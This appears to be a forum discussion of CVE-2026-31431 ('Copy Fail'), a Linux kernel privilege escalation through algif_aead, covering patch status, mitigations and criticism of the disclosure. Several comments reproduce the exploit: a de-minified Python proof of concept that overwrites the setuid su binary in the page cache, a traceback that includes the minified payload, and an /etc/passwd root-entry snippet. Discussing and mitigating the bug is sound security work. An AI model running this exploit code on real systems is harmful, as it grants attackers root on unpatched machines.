https://access.redhat.com/security/cve/cve-2026-31431 "Moderate severity", "Fix deferred"
https://security-tracker.debian.org/tracker/CVE-2026-31431
https://ubuntu.com/security/cves/about#priority
> Medium: A significant problem, typically exploitable for many users. Includes network daemon denial of service, cross-site scripting, and gaining user privileges.
> High: A significant problem, typically exploitable for nearly all users in a default installation of Ubuntu. Includes serious remote denial of service, local root privilege escalations, local data theft, and data loss.
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("algif_aead probably successfully loaded, mitigation not effective; remove again with: rmmod algif_aead")'
Similarly, when the mitigation is in place, modprobe algif_aead
should fail with an error.So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually.
https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464d...
`/etc/systemd/system/service.d/${...}.conf`
I think this is what you're looking for.
Too many darn acronyms. This one wasn't too hard to figure out from context but I wish people would define acronyms before using them!
https://github.com/anthropics/claude-code/issues/40741 (gcc version "Red Hat 14.3" included in system version at the bottom)
https://docs.oracle.com/en/database/oracle/tuxedo/22/otxig/s...
Why marketing though?
Indeed. "Distributions we directly verified: RHEL 14.3". Directly verified by me to be AI slop (the release page at least).
https://access.redhat.com/articles/red-hat-enterprise-linux-...
> Talk to our security experts
(at the bottom of the page)
I have a sneaking suspicion his first name is Claude. Don't get me wrong though, he is pretty good I hear.
It's ironic that the one thing LLMs can't do reliably in this space is "write copy for humans" (I don't trust them for that either).
Kind of funny to do something impressive and then ignore the details on the presentation, but perhaps that's not uncommon for security researchers?
I ran the exploit in rootless Podman, and predictably it doesn't escape the container.
They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine
they state that the write-up is forthcoming. presumably there is some additional steps or modifications that will be detailed in the 'part 2'.
"Next: "From Pod to Host," how Copy Fail escapes every major cloud Kubernetes platform."
They've done themselves no favours at all with their write up.
It does seem legitimate (I was able to use the PoC on a 24.04 instance), and seems like it should be a big deal, but the actual number of affected distributions seems way lower, and not even remotely as per their claim every distribution since 2017.
For example with Ubuntu, if I'm reading it right there's some impact in 16.04 (EOL), but then at least as per their analysis, only the vendor specific 6.17 kernels they ship that have it (e.g. linux-gcp, linux-oracle-6.7 etc.). That's a relatively new kernel version they started shipping recently, after it was released upstream last September.
The details will depend on whether the kernel is a newer release or a maintenance version of an older release.
> Update your distribution's kernel package to one that includes mainline commit a664bf3d603d
But it isn't very clear to me what Kernel version you can expect that to be in. For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you're on any of the lower versions in the same upstream stable series, you're likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.
https://github.com/torvalds/linux.git
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git as remotes:
running a search for commit a664bf3d603d's commit message: git log --all --grep 'crypto: algif_aead - Revert to operating out-of-place' '--format=%H' | xargs -I '{}' git tag --contains '{}' | sort -u
outputs these tags as having the fix: v6.18.22
v6.18.23
v6.18.24
v6.18.25
v6.19.12
v6.19.13
v6.19.14
v7.0
v7.0.1
v7.0.2
v7.0-rc7
v7.1-rc1https://github.com/torvalds/linux/commit/a664bf3d603d
6.18.25-gentoo-x86_64 has the patch for Gentoo.
https://security-tracker.debian.org/tracker/CVE-2026-31431
https://ubuntu.com/security/CVE-2026-31431
Also, disabling algif_aead is suggested as mitigation
> Before you can patch: disable the algif_aead module.
> echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
> rmmod algif_aead 2>/dev/null || true
Edit: and I can confirm that on my system with kernel 6.19.8 the above fixes the exploit.
Linux wsl2 6.6.87.2-microsoft-standard-WSL2 ...
`modprobe algif_aead` errors out, but if I run the POC, it succeeds.Outside of WSL2, the mitigation does appear to work though.
zgrep CRYPTO_USER_API_AEAD /proc/config.gz /boot/config-*
It should show =m if it's a loadable module, and =y if it's compiled in. CONFIG_CRYPTO_USER_API_AEAD=m
Using bpftrace to watch calls to module_request, openat, etc., it looks like when the kernel calls modprobe, it doesn't even look at the disable-algif.conf file: [module_request] pid=3648 comm=python name=algif-aead
[umh_setup] pid=3648 comm=python path=/sbin/modprobe argv0=/sbin/modprobe argv1=-q argv2=-- argv3=algif-aead argv4=
[openat] pid=3688 file=/etc/ld.so.cache
[openat] pid=3688 file=/lib/liblzma.so.5
[openat] pid=3688 file=/lib/libz.so.1
[openat] pid=3688 file=/lib/libgcc_s.so.1
[openat] pid=3688 file=/lib/libc.so.6
[openat] pid=3688 file=/etc/modprobe.d
[openat] pid=3688 file=/lib/modprobe.d
[openat] pid=3688 file=/lib/modprobe.d/dist-blacklist.conf
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.softdep
[openat] pid=3688 file=/lib/modprobe.d/systemd.conf
[openat] pid=3688 file=/etc/modprobe.d/usb.conf
[openat] pid=3688 file=/proc/cmdline
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.dep.bin
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.alias.bin..
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.symbols.b..
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.builtin.a..
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.builtin.b..
[openat] pid=3688 file=/sys/module/algif_aead/initstate
[openat] pid=3688 file=/sys/module/af_alg/initstate
[openat] pid=3688 file=/sys/module/algif_aead/initstate
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/kernel/crypto/alg..
[finit_module] pid=3688 comm=modprobe fd=0 flags=0
[module_load] pid=3688 comm=modprobe name=algif_aead
Restart WSL2, run the bpftrace, and try `sudo modprobe algif-aead`, and that shows it looking at (or I guess opening) other files in /etc/modprobe.d, including the new one.The mystery is why.
EDIT: Sorry, I failed at reading your message. Never mind.
$ stat /bin/su
File: /bin/su
Size: 59552 Blocks: 118 IO Block: 59904 regular file
Device: 0,52 Inode: 796854 Links: 1
Access: (4711/-rws--x--x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2023-09-18 13:23:03.117105665 -0500
Modify: 2021-02-13 05:15:56.000000000 -0600
Change: 2023-09-18 13:23:03.119105665 -0500
Birth: 2023-09-18 13:23:03.117105665 -0500
I'm not sure I have any setuid/setgid binaries that are world-readable...Think modifying shared libraries, ld preload, cron, I guess on some systems /etc/passwd even.
There are a lot of files readable that should definitely not be writable.
f=g.open("/etc/passwd",0);
e="rkeene:x:0:0:System administrator:/root:/run/current-system/sw/bin/bash\n".encode()
...
g.system("/run/wrappers/bin/su - rkeene")Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.
You can also call it Debian 13.
Anyone who knows anything about this subject immediately understands what is connoted by "Debian Stable". I run Trixie on most of my personal boxes and I had no idea what version number it is, nor do I particularly care.
It's not that hard to find though:
$ cat /etc/debian_version
13.4Except you can't pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script.
I can't get it to work on any distro i've tried.
Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.
Putting it out here, maybe somebody else will have better luck.
[1] https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...
adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_USER_API_RNG is not set
# CONFIG_CRYPTO_USER_API_AEAD is not set File "/data/data/com.termux/files/home/a.py", line 5, in c
a=s.socket(38,5,0); # ...
File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
PermissionError: [Errno 13] Permission deniedTraceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 8, in <module> f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) ^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 9, in <module> while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/home/exploit.py", line 5, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/usr/lib/python3.12/socket.py", line 233, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) PermissionError: [Errno 13] Permission denied
Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon".
But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).
~~My allegedly fully patched pixel 8 pro allowed an AF_ALG socket to open under termux without virtualization so I'm not sure the last but is true~~
Looking at their source code [1] it starts with this simple line:
import os as g,zlib,socket as s
And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
Anyway, I could go on. :) Let's just stop fetishizing byte count
[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
Assuming AI was correct, it unpacks more or less like this
import os, zlib, socket
AF_ALG = 38
SOCK_SEQPACKET = 5
SOL_ALG = 279
def hex_bytes(x):
return bytes.fromhex(x)
def trigger(fd, offset, patch4): sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64))
sock.setsockopt(SOL_ALG, 5, None, 4)
op, _ = sock.accept()
length = offset + 4
zero = b"\x00"
op.sendmsg(
[b"A" * 4 + patch4],
[
(SOL_ALG, 3, zero * 4),
(SOL_ALG, 2, b"\x10" + zero * 19),
(SOL_ALG, 4, b"\x08" + zero * 3),
],
32768,
)
read_pipe, write_pipe = os.pipe()
os.splice(fd, write_pipe, length, offset_src=0)
os.splice(read_pipe, op.fileno(), length)
try:
op.recv(8 + offset)
except:
pass
target = os.open("/usr/bin/su", os.O_RDONLY)payload = zlib.decompress(bytes.fromhex("..."))
offset = 0
while offset < len(payload):
trigger(target, offset, payload[offset:offset + 4])
offset += 4
os.system("su")If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.
We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.
Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.
From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.
And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.
But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.
But the bug is real and people should patch :)
For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")
"The honest solution: a clean 50-line cut" and so on, ad nauseam
How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot.
I always thought code quality mattered less in those, as long as you communicate the intent.
If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.
In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.
How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).
It would have been less work for everyone involved to just release the unminified source.
"Just" is doing a lot of work there, I'm so annoyed reading it.
It's like an anti-ad and they had pretty cool material to work with.
* Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)
Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?
https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe...
edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.
Because I want to know what the exploit is doing and how it works, and if it's even safe to run.
A privesc PoC is NOT the place for this kind of fun.
Which I guess is true but I would like to verify the attack is the intended one
lucky for them, its an exploit script, not enterprise code.
all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.
edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming
Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.
i just dont understand huffing and puffing over "os as g" in a 10-line poc script, and saying "well i would never approve this". its not enterprise code. its not code that will ever be used anywhere else, for anything. its sole purpose is to prove that the exploit is real, which it does!
the rest of the information is in the actual vulnerability report. the poc is a courtesy to the reportee, so that they can confirm that the report itself isnt bullshit.
evidently, given the downvotes i am getting, people think exploit scripts should be enterprise quality code. ¯\_(ツ)_/¯ half of the reports i see flowing through mailing lists dont even have a poc.
amazingly HN-like to be upset about a variable name
And this code is not readable at all. It is failing at letting people confirm the exploit easily.
that is contained in the report, which will look similar to the blog. the maintainers will have an open line of contact with the reporters as well. the poc is a small part of the entire report. its not like the linux maintainers only received this poc and have to work out the vulnerability from it alone.
>It is failing at letting people confirm the exploit easily.
it confirms the exploit incredibly easy. just run it, and you get confirmation.
1. Yes, it's real.
2. Current chain can write any arbitrary content to any user-readable file (into the page cache).
3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.
4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).
5. The authors say they have other chains (including ones that allow container escapes). I believe them.
6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).
https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attac...
i bet if i told you their names, you would instantly know what vulns those are.
its easier to talk about things with names. it hurts no one. it takes approximately no effort or time.
CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.
What, you guys talk about books based on their “title” instead of just memorising the ISBN of each book? Pssh, count me disappointed!
I guess it’s a good thing I’m not a SovCit or I’d just have to call them Traveller Three and Traveller Four
Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.
$ ls -lah /run/wrappers/bin/su
-r-s--x--x 1 root root 70K Apr 27 11:09 /run/wrappers/bin/su
Not that this makes the underlying mechanism of the exploit any better, but I wonder what else you can do with it. Is there a way to target a suid binary that doesn't have +r? I guess all of the suid binaries necessarily don't, since the wrapper system doesn't grant it and you can't have suid binaries in the /nix/store.I know it's also unrelated, but this is the most aggressively obvious LLM slop copy I've ever seen and it is a page with like 30 sentences. I guess we're just seriously doing this, huh?
On this bright side, does this mean Magisk is coming to all unpatched Android phones?
This is usable anywhere on an affected Kernel version
This is why I compile my own kernel. I disable things I don't use. If it's not present it can't hurt you.
> block AF_ALG socket creation via seccomp regardless of patch state.
Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.
> Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.
There is no update available for Ubuntu 24, PoC works and just tried updating.
% git describe a664bf3d603d
v7.0-rc1-10-ga664bf3d603d
I suspect this means the stable 7.0 has it too. printf "# CVE-2026-31431\nblacklist algif_aead\ninstall algif_aead /bin/false\n" | sudo tee /etc/modprobe.d/blacklist-algif_aead.conf >/dev/null && sudo update-initramfs -uPassword: su: Authentication token manipulation error
I'm guessing this means it's already patched?
you are reading about it now because it has been patched.
Ubuntu before 26.04 LTS (released a week ago) are currently listed as vulnerable.
Debian other than forky and sid are currently listed as vulnerable.
This is a disgrace.
2026-03-23Reported to Linux kernel security team
2026-03-24Initial acknowledgment
2026-03-25Patches proposed and reviewed
2026-04-01Patch committed to mainline
2026-04-22CVE-2026-31431 assigned
2026-04-29Public disclosure (https://copy.fail/)
kernel 6.19.14-arch1-1, the kernel in question from the parent comment, has been patched.Give up entirely on non-virtualized container security?
This is not sarcasm. I'd finally given in and started learning about docker/podman-style OCI containerization last week.
For immediate mitigation, block AF_ALG socket creation via seccomp or blacklist the algif_aead module:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/nullI'd do 'umask 133' in front of the echo out of paranoia.
Out of curiosity, was the asterisk after '2>/dev/null' intentional? I had not seen that idiom before.
In my opinion, this mostly affects countries that are still using outdated systems, especially critical systems.
This gives bad actors a direct route to the root. Having an easily accessible root is not funny.
So, if anything, this might argue against the presence of huge quantities of high-severity bugs in this part of the Linux kernel (that could be found by "Xint Code"-class scanning systems).
Anybody has the same feeling?